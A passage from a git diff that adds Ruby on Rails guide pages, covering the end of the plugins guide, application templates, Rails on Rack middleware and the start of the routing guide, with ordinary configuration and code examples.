+ def test_hickwalls_squawk_should_populate_last_squawk
+ hickwall = Hickwall.new
+ hickwall.squawk("Hello World")
+ assert_equal "squawk! Hello World", hickwall.last_squawk
+ end
+
+ def test_wickwalls_squawk_should_populate_last_tweet
+ wickwall = Wickwall.new
+ wickwall.squawk("Hello World")
+ assert_equal "squawk! Hello World", wickwall.last_tweet
+ end
+end
+```
+
+Run the test to make sure the last two tests fail with an error that contains "NoMethodError: undefined method `squawk'",
+then update 'acts_as_yaffle.rb' to look like this:
+
+```ruby
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+ module ActsAsYaffle
+ extend ActiveSupport::Concern
+
+ included do
+ end
+
+ module ClassMethods
+ def acts_as_yaffle(options = {})
+ cattr_accessor :yaffle_text_field
+ self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+
+ include Yaffle::ActsAsYaffle::LocalInstanceMethods
+ end
+ end
+
+ module LocalInstanceMethods
+ def squawk(string)
+ write_attribute(self.class.yaffle_text_field, string.to_squawk)
+ end
+ end
+ end
+end
+
+ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
+```
+
+Run `rake` one final time and you should see:
+
+```
+ 7 tests, 7 assertions, 0 failures, 0 errors, 0 skips
+```
+
+NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use `send("#{self.class.yaffle_text_field}=", string.to_squawk)`.
+
+Generators
+----------
+
+Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about
+the creation of generators can be found in the [Generators Guide](generators.html)
+
+Publishing your Gem
+-------------------
+
+Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply
+commit the code to a Git repository (like GitHub) and add a line to the Gemfile of the application in question:
+
+```ruby
+gem 'yaffle', git: 'git://github.com/yaffle_watcher/yaffle.git'
+```
+
+After running `bundle install`, your gem functionality will be available to the application.
+
+When the gem is ready to be shared as a formal release, it can be published to [RubyGems](http://www.rubygems.org).
+For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html)
+
+RDoc Documentation
+------------------
+
+Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.
+
+The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:
+
+* Your name
+* How to install
+* How to add the functionality to the app (several examples of common use cases)
+* Warnings, gotchas or tips that might help users and save them time
+
+Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not included in the public API.
+
+Once your comments are good to go, navigate to your plugin directory and run:
+
+```bash
+$ rake rdoc
+```
+
+### References
+
+* [Developing a RubyGem using Bundler](https://github.com/radar/guides/blob/master/gem-development.md)
+* [Using .gemspecs as Intended](http://yehudakatz.com/2010/04/02/using-gemspecs-as-intended/)
+* [Gemspec Reference](http://docs.rubygems.org/read/chapter/20)
+* [GemPlugins: A Brief Introduction to the Future of Rails Plugins](http://www.intridea.com/blog/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins)
diff --git a/guides/source/rails_application_templates.md b/guides/source/rails_application_templates.md
new file mode 100644
index 0000000..b548eae
--- /dev/null
+++ b/guides/source/rails_application_templates.md
@@ -0,0 +1,229 @@
+Rails Application Templates
+===========================
+
+Application templates are simple Ruby files containing DSL for adding gems/initializers etc. to your freshly created Rails project or an existing Rails project.
+
+After reading this guide, you will know:
+
+* How to use templates to generate/customize Rails applications.
+* How to write your own reusable application templates using the Rails template API.
+
+--------------------------------------------------------------------------------
+
+Usage
+-----
+
+To apply a template, you need to provide the Rails generator with the location of the template you wish to apply using the -m option. This can either be a path to a file or a URL.
+
+```bash
+$ rails new blog -m ~/template.rb
+$ rails new blog -m http://example.com/template.rb
+```
+
+You can use the rake task `rails:template` to apply templates to an existing Rails application. The location of the template needs to be passed in to an environment variable named LOCATION. Again, this can either be path to a file or a URL.
+
+```bash
+$ rake rails:template LOCATION=~/template.rb
+$ rake rails:template LOCATION=http://example.com/template.rb
+```
+
+Template API
+------------
+
+The Rails templates API is easy to understand. Here's an example of a typical Rails template:
+
+```ruby
+# template.rb
+generate(:scaffold, "person name:string")
+route "root to: 'people#index'"
+rake("db:migrate")
+
+git :init
+git add: "."
+git commit: %Q{ -m 'Initial commit' }
+```
+
+The following sections outline the primary methods provided by the API:
+
+### gem(*args)
+
+Adds a `gem` entry for the supplied gem to the generated application’s `Gemfile`.
+
+For example, if your application depends on the gems `bj` and `nokogiri`:
+
+```ruby
+gem "bj"
+gem "nokogiri"
+```
+
+Please note that this will NOT install the gems for you and you will have to run `bundle install` to do that.
+
+```bash
+bundle install
+```
+
+### gem_group(*names, &block)
+
+Wraps gem entries inside a group.
+
+For example, if you want to load `rspec-rails` only in the `development` and `test` groups:
+
+```ruby
+gem_group :development, :test do
+ gem "rspec-rails"
+end
+```
+
+### add_source(source, options = {})
+
+Adds the given source to the generated application's `Gemfile`.
+
+For example, if you need to source a gem from "http://code.whytheluckystiff.net":
+
+```ruby
+add_source "http://code.whytheluckystiff.net"
+```
+
+### environment/application(data=nil, options={}, &block)
+
+Adds a line inside the `Application` class for `config/application.rb`.
+
+If `options[:env]` is specified, the line is appended to the corresponding file in `config/environments`.
+
+```ruby
+environment 'config.action_mailer.default_url_options = {host: 'http://yourwebsite.example.com'}, env: 'production'
+```
+
+A block can be used in place of the `data` argument.
+
+### vendor/lib/file/initializer(filename, data = nil, &block)
+
+Adds an initializer to the generated application’s `config/initializers` directory.
+
+Let's say you like using `Object#not_nil?` and `Object#not_blank?`:
+
+```ruby
+initializer 'bloatlol.rb', <<-CODE
+ class Object
+ def not_nil?
+ !nil?
+ end
+
+ def not_blank?
+ !blank?
+ end
+ end
+CODE
+```
+
+Similarly, `lib()` creates a file in the `lib/` directory and `vendor()` creates a file in the `vendor/` directory.
+
+There is even `file()`, which accepts a relative path from `Rails.root` and creates all the directories/files needed:
+
+```ruby
+file 'app/components/foo.rb', <<-CODE
+ class Foo
+ end
+CODE
+```
+
+That’ll create the `app/components` directory and put `foo.rb` in there.
+
+### rakefile(filename, data = nil, &block)
+
+Creates a new rake file under `lib/tasks` with the supplied tasks:
+
+```ruby
+rakefile("bootstrap.rake") do
+ <<-TASK
+ namespace :boot do
+ task :strap do
+ puts "i like boots!"
+ end
+ end
+ TASK
+end
+```
+
+The above creates `lib/tasks/bootstrap.rake` with a `boot:strap` rake task.
+
+### generate(what, *args)
+
+Runs the supplied rails generator with given arguments.
+
+```ruby
+generate(:scaffold, "person", "name:string", "address:text", "age:number")
+```
+
+### run(command)
+
+Executes an arbitrary command. Just like the backticks. Let's say you want to remove the `README.rdoc` file:
+
+```ruby
+run "rm README.rdoc"
+```
+
+### rake(command, options = {})
+
+Runs the supplied rake tasks in the Rails application. Let's say you want to migrate the database:
+
+```ruby
+rake "db:migrate"
+```
+
+You can also run rake tasks with a different Rails environment:
+
+```ruby
+rake "db:migrate", env: 'production'
+```
+
+### route(routing_code)
+
+Adds a routing entry to the `config/routes.rb` file. In the steps above, we generated a person scaffold and also removed `README.rdoc`. Now, to make `PeopleController#index` the default page for the application:
+
+```ruby
+route "root to: 'person#index'"
+```
+
+### inside(dir)
+
+Enables you to run a command from the given directory. For example, if you have a copy of edge rails that you wish to symlink from your new apps, you can do this:
+
+```ruby
+inside('vendor') do
+ run "ln -s ~/commit-rails/rails rails"
+end
+```
+
+### ask(question)
+
+`ask()` gives you a chance to get some feedback from the user and use it in your templates. Let's say you want your user to name the new shiny library you’re adding:
+
+```ruby
+lib_name = ask("What do you want to call the shiny library ?")
+lib_name << ".rb" unless lib_name.index(".rb")
+
+lib lib_name, <<-CODE
+ class Shiny
+ end
+CODE
+```
+
+### yes?(question) or no?(question)
+
+These methods let you ask questions from templates and decide the flow based on the user’s answer. Let's say you want to freeze rails only if the user wants to:
+
+```ruby
+rake("rails:freeze:gems") if yes?("Freeze rails gems?")
+# no?(question) acts just the opposite.
+```
+
+### git(:command)
+
+Rails templates let you run any git command:
+
+```ruby
+git :init
+git add: "."
+git commit: "-a -m 'Initial commit'"
+```
diff --git a/guides/source/rails_on_rack.md b/guides/source/rails_on_rack.md
new file mode 100644
index 0000000..de8f3f4
--- /dev/null
+++ b/guides/source/rails_on_rack.md
@@ -0,0 +1,345 @@
+Rails on Rack
+=============
+
+This guide covers Rails integration with Rack and interfacing with other Rack components.
+
+After reading this guide, you will know:
+
+* How to create Rails Metal applications.
+* How to use Rack Middlewares in your Rails applications.
+* Action Pack's internal Middleware stack.
+* How to define a custom Middleware stack.
+
+--------------------------------------------------------------------------------
+
+WARNING: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and `Rack::Builder`.
+
+Introduction to Rack
+--------------------
+
+Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.
+
+- [Rack API Documentation](http://rack.rubyforge.org/doc/)
+
+Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the [Resources](#resources) section below.
+
+Rails on Rack
+-------------
+
+### Rails Application's Rack Object
+
+`ApplicationName::Application` is the primary Rack application object of a Rails
+application. Any Rack compliant web server should be using
+`ApplicationName::Application` object to serve a Rails
+application. `Rails.application` refers to the same application object.
+
+### `rails server`
+
+`rails server` does the basic job of creating a `Rack::Server` object and starting the webserver.
+
+Here's how `rails server` creates an instance of `Rack::Server`
+
+```ruby
+Rails::Server.new.tap do |server|
+ require APP_PATH
+ Dir.chdir(Rails.application.root)
+ server.start
+end
+```
+
+The `Rails::Server` inherits from `Rack::Server` and calls the `Rack::Server#start` method this way:
+
+```ruby
+class Server < ::Rack::Server
+ def start
+ ...
+ super
+ end
+end
+```
+
+Here's how it loads the middlewares:
+
+```ruby
+def middleware
+ middlewares = []
+ middlewares << [Rails::Rack::Debugger] if options[:debugger]
+ middlewares << [::Rack::ContentLength]
+ Hash.new(middlewares)
+end
+```
+
+`Rails::Rack::Debugger` is primarily useful only in the development environment. The following table explains the usage of the loaded middlewares:
+
+| Middleware | Purpose |
+| ----------------------- | --------------------------------------------------------------------------------- |
+| `Rails::Rack::Debugger` | Starts Debugger |
+| `Rack::ContentLength` | Counts the number of bytes in the response and set the HTTP Content-Length header |
+
+### `rackup`
+
+To use `rackup` instead of Rails' `rails server`, you can put the following inside `config.ru` of your Rails application's root directory:
+
+```ruby
+# Rails.root/config.ru
+require ::File.expand_path('../config/environment', __FILE__)
+
+use Rack::Debugger
+use Rack::ContentLength
+run Rails.application
+```
+
+And start the server:
+
+```bash
+$ rackup config.ru
+```
+
+To find out more about different `rackup` options:
+
+```bash
+$ rackup --help
+```
+
+Action Dispatcher Middleware Stack
+----------------------------------
+
+Many of Action Dispatcher's internal components are implemented as Rack middlewares. `Rails::Application` uses `ActionDispatch::MiddlewareStack` to combine various internal and external middlewares to form a complete Rails Rack application.
+
+NOTE: `ActionDispatch::MiddlewareStack` is Rails equivalent of `Rack::Builder`, but built for better flexibility and more features to meet Rails' requirements.
+
+### Inspecting Middleware Stack
+
+Rails has a handy rake task for inspecting the middleware stack in use:
+
+```bash
+$ rake middleware
+```
+
+For a freshly generated Rails application, this might produce something like:
+
+```ruby
+use ActionDispatch::Static
+use Rack::Lock
+use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x000000029a0838>
+use Rack::Runtime
+use Rack::MethodOverride
+use ActionDispatch::RequestId
+use Rails::Rack::Logger
+use ActionDispatch::ShowExceptions
+use ActionDispatch::DebugExceptions
+use ActionDispatch::RemoteIp
+use ActionDispatch::Reloader
+use ActionDispatch::Callbacks
+use ActiveRecord::ConnectionAdapters::ConnectionManagement
+use ActiveRecord::QueryCache
+use ActionDispatch::Cookies
+use ActionDispatch::Session::CookieStore
+use ActionDispatch::Flash
+use ActionDispatch::ParamsParser
+use Rack::Head
+use Rack::ConditionalGet
+use Rack::ETag
+run MyApp::Application.routes
+```
+
+Purpose of each of this middlewares is explained in the [Internal Middlewares](#internal-middleware-stack) section.
+
+### Configuring Middleware Stack
+
+Rails provides a simple configuration interface `config.middleware` for adding, removing and modifying the middlewares in the middleware stack via `application.rb` or the environment specific configuration file `environments/<environment>.rb`.
+
+#### Adding a Middleware
+
+You can add a new middleware to the middleware stack using any of the following methods:
+
+* `config.middleware.use(new_middleware, args)` - Adds the new middleware at the bottom of the middleware stack.
+
+* `config.middleware.insert_before(existing_middleware, new_middleware, args)` - Adds the new middleware before the specified existing middleware in the middleware stack.
+
+* `config.middleware.insert_after(existing_middleware, new_middleware, args)` - Adds the new middleware after the specified existing middleware in the middleware stack.
+
+```ruby
+# config/application.rb
+
+# Push Rack::BounceFavicon at the bottom
+config.middleware.use Rack::BounceFavicon
+
+# Add Lifo::Cache after ActiveRecord::QueryCache.
+# Pass { page_cache: false } argument to Lifo::Cache.
+config.middleware.insert_after ActiveRecord::QueryCache, Lifo::Cache, page_cache: false
+```
+
+#### Swapping a Middleware
+
+You can swap an existing middleware in the middleware stack using `config.middleware.swap`.
+
+```ruby
+# config/application.rb
+
+# Replace ActionDispatch::ShowExceptions with Lifo::ShowExceptions
+config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions
+```
+
+#### Middleware Stack is an Enumerable
+
+The middleware stack behaves just like a normal `Enumerable`. You can use any `Enumerable` methods to manipulate or interrogate the stack. The middleware stack also implements some `Array` methods including `[]`, `unshift` and `delete`. Methods described in the section above are just convenience methods.
+
+Append following lines to your application configuration:
+
+```ruby
+# config/application.rb
+config.middleware.delete "Rack::Lock"
+```
+
+And now if you inspect the middleware stack, you'll find that `Rack::Lock` will not be part of it.
+
+```bash
+$ rake middleware
+(in /Users/lifo/Rails/blog)
+use ActionDispatch::Static
+use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x00000001c304c8>
+use Rack::Runtime
+...
+run Blog::Application.routes
+```
+
+If you want to remove session related middleware, do the following:
+
+```ruby
+# config/application.rb
+config.middleware.delete "ActionDispatch::Cookies"
+config.middleware.delete "ActionDispatch::Session::CookieStore"
+config.middleware.delete "ActionDispatch::Flash"
+```
+
+And to remove browser related middleware,
+
+```ruby
+# config/application.rb
+config.middleware.delete "Rack::MethodOverride"
+```
+
+### Internal Middleware Stack
+
+Much of Action Controller's functionality is implemented as Middlewares. The following list explains the purpose of each of them:
+
+ **`ActionDispatch::Static`**
+
+* Used to serve static assets. Disabled if `config.serve_static_assets` is true.
+
+ **`Rack::Lock`**
+
+* Sets `env["rack.multithread"]` flag to `false` and wraps the application within a Mutex.
+
+ **`ActiveSupport::Cache::Strategy::LocalCache::Middleware`**
+
+* Used for memory caching. This cache is not thread safe.
+
+ **`Rack::Runtime`**
+
+* Sets an X-Runtime header, containing the time (in seconds) taken to execute the request.
+
+ **`Rack::MethodOverride`**
+
+* Allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PUT and DELETE HTTP method types.
+
+ **`ActionDispatch::RequestId`**
+
+* Makes a unique `X-Request-Id` header available to the response and enables the `ActionDispatch::Request#uuid` method.
+
+ **`Rails::Rack::Logger`**
+
+* Notifies the logs that the request has began. After request is complete, flushes all the logs.
+
+ **`ActionDispatch::ShowExceptions`**
+
+* Rescues any exception returned by the application and calls an exceptions app that will wrap it in a format for the end user.
+
+ **`ActionDispatch::DebugExceptions`**
+
+* Responsible for logging exceptions and showing a debugging page in case the request is local.
+
+ **`ActionDispatch::RemoteIp`**
+
+* Checks for IP spoofing attacks.
+
+ **`ActionDispatch::Reloader`**
+
+* Provides prepare and cleanup callbacks, intended to assist with code reloading during development.
+
+ **`ActionDispatch::Callbacks`**
+
+* Runs the prepare callbacks before serving the request.
+
+ **`ActiveRecord::ConnectionAdapters::ConnectionManagement`**
+
+* Cleans active connections after each request, unless the `rack.test` key in the request environment is set to `true`.
+
+ **`ActiveRecord::QueryCache`**
+
+* Enables the Active Record query cache.
+
+ **`ActionDispatch::Cookies`**
+
+* Sets cookies for the request.
+
+ **`ActionDispatch::Session::CookieStore`**
+
+* Responsible for storing the session in cookies.
+
+ **`ActionDispatch::Flash`**
+
+* Sets up the flash keys. Only available if `config.action_controller.session_store` is set to a value.
+
+ **`ActionDispatch::ParamsParser`**
+
+* Parses out parameters from the request into `params`.
+
+ **`ActionDispatch::Head`**
+
+* Converts HEAD requests to `GET` requests and serves them as so.
+
+ **`Rack::ConditionalGet`**
+
+* Adds support for "Conditional `GET`" so that server responds with nothing if page wasn't changed.
+
+ **`Rack::ETag`**
+
+* Adds ETag header on all String bodies. ETags are used to validate cache.
+
+TIP: It's possible to use any of the above middlewares in your custom Rack stack.
+
+### Using Rack Builder
+
+The following shows how to replace use `Rack::Builder` instead of the Rails supplied `MiddlewareStack`.
+
+<strong>Clear the existing Rails middleware stack</strong>
+
+```ruby
+# config/application.rb
+config.middleware.clear
+```
+
+<br />
+<strong>Add a `config.ru` file to `Rails.root`</strong>
+
+```ruby
+# config.ru
+use MyOwnStackFromScratch
+run Rails.application
+```
+
+Resources
+---------
+
+### Learning Rack
+
+* [Official Rack Website](http://rack.github.io)
+* [Introducing Rack](http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html)
+* [Ruby on Rack #1 - Hello Rack!](http://m.onkey.org/ruby-on-rack-1-hello-rack)
+* [Ruby on Rack #2 - The Builder](http://m.onkey.org/ruby-on-rack-2-the-builder)
+
+### Understanding Middlewares
+
+* [Railscast on Rack Middlewares](http://railscasts.com/episodes/151-rack-middleware)
diff --git a/guides/source/routing.md b/guides/source/routing.md
new file mode 100644
index 0000000..f4cb8fe
--- /dev/null
+++ b/guides/source/routing.md
@@ -0,0 +1,1104 @@
+Rails Routing from the Outside In
+=================================
+
+This guide covers the user-facing features of Rails routing.
+
+After reading this guide, you will know:
+
+* How to interpret the code in `routes.rb`.
+* How to construct your own routes, using either the preferred resourceful style or the `match` method.
+* What parameters to expect an action to receive.
+* How to automatically create paths and URLs using route helpers.
+* Advanced techniques such as constraints and Rack endpoints.
+
+--------------------------------------------------------------------------------
+
+The Purpose of the Rails Router
+-------------------------------
+
+The Rails router recognizes URLs and dispatches them to a controller's action. It can also generate paths and URLs, avoiding the need to hardcode strings in your views.
+
+### Connecting URLs to Code
+
+When your Rails application receives an incoming request for:
+
+```
+GET /patients/17
+```
+
+it asks the router to match it to a controller action. If the first matching route is:
+
+```ruby
+get '/patients/:id', to: 'patients#show'
+```
+
+the request is dispatched to the `patients` controller's `show` action with `{ id: '17' }` in `params`.
+
+### Generating Paths and URLs from Code
+
+You can also generate paths and URLs. If the route above is modified to be:
+
+```ruby
+get '/patients/:id', to: 'patients#show', as: 'patient'
+```
+
+and your application contains this code in the controller:
+
+```ruby
+ at patient = Patient.find(17)
+```
+
+and this in the corresponding view:
+
+```erb
+<%= link_to 'Patient Record', patient_path(@patient) %>
+```
+
+then the router will generate the path `/patients/17`. This reduces the brittleness of your view and makes your code easier to understand. Note that the id does not need to be specified in the route helper.
+
+Resource Routing: the Rails Default
+-----------------------------------
+
+Resource routing allows you to quickly declare all of the common routes for a given resourceful controller. Instead of declaring separate routes for your `index`, `show`, `new`, `edit`, `create`, `update` and `destroy` actions, a resourceful route declares them in a single line of code.
+
+### Resources on the Web
+
+Browsers request pages from Rails by making a request for a URL using a specific HTTP method, such as `GET`, `POST`, `PATCH`, `PUT` and `DELETE`. Each method is a request to perform an operation on the resource. A resource route maps a number of related requests to actions in a single controller.
+
+When your Rails application receives an incoming request for:
+
+```
+DELETE /photos/17
+```
+
+it asks the router to map it to a controller action. If the first matching route is:
+
+```ruby
+resources :photos
+```
+
+Rails would dispatch that request to the `destroy` method on the `photos` controller with `{ id: '17' }` in `params`.
+
+### CRUD, Verbs, and Actions
+
+In Rails, a resourceful route provides a mapping between HTTP verbs and URLs to controller actions. By convention, each action also maps to particular CRUD operations in a database. A single entry in the routing file, such as:
+
+```ruby
+resources :photos
+```
+
+creates seven different routes in your application, all mapping to the `Photos` controller:
+
+| HTTP Verb | Path | Action | Used for |
+| --------- | ---------------- | ------- | -------------------------------------------- |
+| GET | /photos | index | display a list of all photos |
+| GET | /photos/new | new | return an HTML form for creating a new photo |
+| POST | /photos | create | create a new photo |
+| GET | /photos/:id | show | display a specific photo |
+| GET | /photos/:id/edit | edit | return an HTML form for editing a photo |
+| PATCH/PUT | /photos/:id | update | update a specific photo |
+| DELETE | /photos/:id | destroy | delete a specific photo |
+
+NOTE: Because the router uses the HTTP verb and URL to match inbound requests, four URLs map to seven different actions.
+
+NOTE: Rails routes are matched in the order they are specified, so if you have a `resources :photos` above a `get 'photos/poll'` the `show` action's route for the `resources` line will be matched before the `get` line. To fix this, move the `get` line **above** the `resources` line so that it is matched first.
+
+### Path and URL Helpers
+
+Creating a resourceful route will also expose a number of helpers to the controllers in your application. In the case of `resources :photos`:
+
+* `photos_path` returns `/photos`
+* `new_photo_path` returns `/photos/new`
+* `edit_photo_path(:id)` returns `/photos/:id/edit` (for instance, `edit_photo_path(10)` returns `/photos/10/edit`)
+* `photo_path(:id)` returns `/photos/:id` (for instance, `photo_path(10)` returns `/photos/10`)
+
+Each of these helpers has a corresponding `_url` helper (such as `photos_url`) which returns the same path prefixed with the current host, port and path prefix.
+
+### Defining Multiple Resources at the Same Time
+
+If you need to create routes for more than one resource, you can save a bit of typing by defining them all with a single call to `resources`:
+
+```ruby
+resources :photos, :books, :videos
+```
+
+This works exactly the same as:
+
+```ruby
+resources :photos
+resources :books
+resources :videos
+```
+
+### Singular Resources
+
+Sometimes, you have a resource that clients always look up without referencing an ID. For example, you would like `/profile` to always show the profile of the currently logged in user. In this case, you can use a singular resource to map `/profile` (rather than `/profile/:id`) to the `show` action:
+
+```ruby
+get 'profile', to: 'users#show'
+```
+
+Passing a `String` to `match` will expect a `controller#action` format, while passing a `Symbol` will map directly to an action:
+
+```ruby
+get 'profile', to: :show
+```
+
+This resourceful route:
+
+```ruby
+resource :geocoder
+```
+
+creates six different routes in your application, all mapping to the `Geocoders` controller:
+
+| HTTP Verb | Path | Action | Used for |
+| --------- | -------------- | ------- | --------------------------------------------- |
+| GET | /geocoder/new | new | return an HTML form for creating the geocoder |
+| POST | /geocoder | create | create the new geocoder |
+| GET | /geocoder | show | display the one and only geocoder resource |
+| GET | /geocoder/edit | edit | return an HTML form for editing the geocoder |
+| PATCH/PUT | /geocoder | update | update the one and only geocoder resource |
+| DELETE | /geocoder | destroy | delete the geocoder resource |
+
+NOTE: Because you might want to use the same controller for a singular route (`/account`) and a plural route (`/accounts/45`), singular resources map to plural controllers. So that, for example, `resource :photo` and `resources :photos` creates both singular and plural routes that map to the same controller (`PhotosController`).
+
+A singular resourceful route generates these helpers:
+
+* `new_geocoder_path` returns `/geocoder/new`
+* `edit_geocoder_path` returns `/geocoder/edit`
+* `geocoder_path` returns `/geocoder`
+
+As with plural resources, the same helpers ending in `_url` will also include the host, port and path prefix.
+
+### Controller Namespaces and Routing
+
+You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of administrative controllers under an `Admin::` namespace. You would place these controllers under the `app/controllers/admin` directory, and you can group them together in your router:
+
+```ruby
+namespace :admin do
+ resources :posts, :comments
+end
+```
+
+This will create a number of routes for each of the `posts` and `comments` controller. For `Admin::PostsController`, Rails will create:
+
+| HTTP Verb | Path | Action | Used for |
+| --------- | --------------------- | ------- | ------------------------- |
+| GET | /admin/posts | index | admin_posts_path |
+| GET | /admin/posts/new | new | new_admin_post_path |
+| POST | /admin/posts | create | admin_posts_path |
+| GET | /admin/posts/:id | show | admin_post_path(:id) |
+| GET | /admin/posts/:id/edit | edit | edit_admin_post_path(:id) |
+| PATCH/PUT | /admin/posts/:id | update | admin_post_path(:id) |
+| DELETE | /admin/posts/:id | destroy | admin_post_path(:id) |
+
+If you want to route `/posts` (without the prefix `/admin`) to `Admin::PostsController`, you could use:
+
+```ruby
+scope module: 'admin' do
+ resources :posts, :comments
+end
+```
+
+or, for a single case:
+
+```ruby
+resources :posts, module: 'admin'
+```
+
+If you want to route `/admin/posts` to `PostsController` (without the `Admin::` module prefix), you could use:
+
+```ruby
+scope '/admin' do
+ resources :posts, :comments
+end
+```
+
+or, for a single case:
+
+```ruby
+resources :posts, path: '/admin/posts'
+```
+
+In each of these cases, the named routes remain the same as if you did not use `scope`. In the last case, the following paths map to `PostsController`:
+
+| HTTP Verb | Path | Action | Named Helper |
+| --------- | --------------------- | ------- | ------------------- |
+| GET | /admin/posts | index | posts_path |
+| GET | /admin/posts/new | new | new_post_path |
+| POST | /admin/posts | create | posts_path |
+| GET | /admin/posts/:id | show | post_path(:id) |
+| GET | /admin/posts/:id/edit | edit | edit_post_path(:id) |
+| PATCH/PUT | /admin/posts/:id | update | post_path(:id) |
+| DELETE | /admin/posts/:id | destroy | post_path(:id) |
+
+### Nested Resources
+
+It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:
+
+```ruby
+class Magazine < ActiveRecord::Base
+ has_many :ads
+end
+
+class Ad < ActiveRecord::Base
+ belongs_to :magazine
+end
+```
+
+Nested routes allow you to capture this relationship in your routing. In this case, you could include this route declaration:
+
+```ruby
+resources :magazines do
+ resources :ads
+end
+```
+
+In addition to the routes for magazines, this declaration will also route ads to an `AdsController`. The ad URLs require a magazine:
+
+| HTTP Verb | Path | Action | Used for |
+| --------- | ------------------------------------ | ------- | -------------------------------------------------------------------------- |
+| GET | /magazines/:magazine_id/ads | index | display a list of all ads for a specific magazine |
+| GET | /magazines/:magazine_id/ads/new | new | return an HTML form for creating a new ad belonging to a specific magazine |
+| POST | /magazines/:magazine_id/ads | create | create a new ad belonging to a specific magazine |
+| GET | /magazines/:magazine_id/ads/:id | show | display a specific ad belonging to a specific magazine |
+| GET | /magazines/:magazine_id/ads/:id/edit | edit | return an HTML form for editing an ad belonging to a specific magazine |
+| PATCH/PUT | /magazines/:magazine_id/ads/:id | update | update a specific ad belonging to a specific magazine |
+| DELETE | /magazines/:magazine_id/ads/:id | destroy | delete a specific ad belonging to a specific magazine |
+
+This will also create routing helpers such as `magazine_ads_url` and `edit_magazine_ad_path`. These helpers take an instance of Magazine as the first parameter (`magazine_ads_url(@magazine)`).
+
+#### Limits to Nesting
+
+You can nest resources within other nested resources if you like. For example:
+
+```ruby
+resources :publishers do
+ resources :magazines do
+ resources :photos
+ end
+end
+```
+
+Deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize paths such as:
+
+```
+/publishers/1/magazines/2/photos/3
+```
+
+The corresponding route helper would be `publisher_magazine_photo_url`, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular [article](http://weblog.jamisbuck.org/2007/2/5/nesting-resources) by Jamis Buck proposes a rule of thumb for good Rails design:
+
+TIP: _Resources should never be nested more than 1 level deep._
+
+#### Shallow Nesting
+
+One way to avoid deep nesting (as recommended above) is to generate the collection actions scoped under the parent, so as to get a sense of the hierarchy, but to not nest the member actions. In other words, to only build routes with the minimal amount of information to uniquely identify the resource, like this:
+
+```ruby
+resources :posts do
+ resources :comments, only: [:index, :new, :create]
+end
+resources :comments, only: [:show, :edit, :update, :destroy]
+```
+
+This idea strikes a balance between descriptive routes and deep nesting. There exists shorthand syntax to achieve just that, via the `:shallow` option:
+
+```ruby
+resources :posts do
+ resources :comments, shallow: true
+end
+```
+
+This will generate the exact same routes as the first example. You can also specify the `:shallow` option in the parent resource, in which case all of the nested resources will be shallow:
+
+```ruby
+resources :posts, shallow: true do
+ resources :comments
+ resources :quotes
+ resources :drafts
+end
+```
+
+The `shallow` method of the DSL creates a scope inside of which every nesting is shallow. This generates the same routes as the previous example:
+
+```ruby
+shallow do
+ resources :posts do
+ resources :comments
+ resources :quotes
+ resources :drafts
+ end
+end
+```
+
+There exists two options for `scope` to customize shallow routes. `:shallow_path` prefixes member paths with the specified parameter:
+
+```ruby
+scope shallow_path: "sekret" do
+ resources :posts do
+ resources :comments, shallow: true
+ end
+end
+```
+
+The comments resource here will have the following routes generated for it:
+
+| HTTP Verb | Path | Named Helper |
+| --------- | -------------------------------------- | ------------------- |
+| GET | /posts/:post_id/comments(.:format) | post_comments |
+| POST | /posts/:post_id/comments(.:format) | post_comments |
+| GET | /posts/:post_id/comments/new(.:format) | new_post_comment |
+| GET | /sekret/comments/:id/edit(.:format) | edit_comment |
+| GET | /sekret/comments/:id(.:format) | comment |
+| PATCH/PUT | /sekret/comments/:id(.:format) | comment |
+| DELETE | /sekret/comments/:id(.:format) | comment |
+
+The `:shallow_prefix` option adds the specified parameter to the named helpers:
+
+```ruby
+scope shallow_prefix: "sekret" do
+ resources :posts do
+ resources :comments, shallow: true
+ end
+end
+```
+
+The comments resource here will have the following routes generated for it:
+
+| HTTP Verb | Path | Named Helper |
+| --------- | -------------------------------------- | ------------------- |
+| GET | /posts/:post_id/comments(.:format) | post_comments |
+| POST | /posts/:post_id/comments(.:format) | post_comments |
+| GET | /posts/:post_id/comments/new(.:format) | new_post_comment |
+| GET | /comments/:id/edit(.:format) | edit_sekret_comment |
+| GET | /comments/:id(.:format) | sekret_comment |
+| PATCH/PUT | /comments/:id(.:format) | sekret_comment |
+| DELETE | /comments/:id(.:format) | sekret_comment |
+
+### Routing concerns
+
+Routing Concerns allows you to declare common routes that can be reused inside others resources and routes. To define a concern:
+
+```ruby
+concern :commentable do
+ resources :comments
+end
+
+concern :image_attachable do
+ resources :images, only: :index
+end
+```
+
+These concerns can be used in resources to avoid code duplication and share behavior across routes:
+
+```ruby
+resources :messages, concerns: :commentable
+
+resources :posts, concerns: [:commentable, :image_attachable]
+```
+
+The above is equivalent to:
+
+```ruby
+resources :messages do
+ resources :comments
+end
+
+resources :posts do
+ resources :comments
+ resources :images, only: :index
+end
